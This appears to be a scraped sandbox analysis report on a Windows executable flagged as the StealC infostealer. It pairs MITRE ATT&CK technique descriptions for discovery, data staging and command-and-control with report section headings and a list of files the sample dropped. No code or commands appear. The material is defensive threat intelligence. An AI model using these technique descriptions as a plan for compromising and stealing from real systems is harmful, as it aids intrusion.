Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report I43xo3KKfS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\FBAFIIJK

C:\ProgramData\JDGHIIJKEBGIDHIDBKJD

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_I43xo3KKfS.exe_28bc6b3603f5f8d941a5aba9cef8425f2a398_64f2822e_66db753d-6df9-4199-9577-860096641214\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8540.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER866A.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER869A.tmp.xml

C:\ProgramData\chrome.dll

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8b6d5c38-7013-4935-b302-a38391baefe8.tmp

Windows Analysis Report
I43xo3KKfS.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre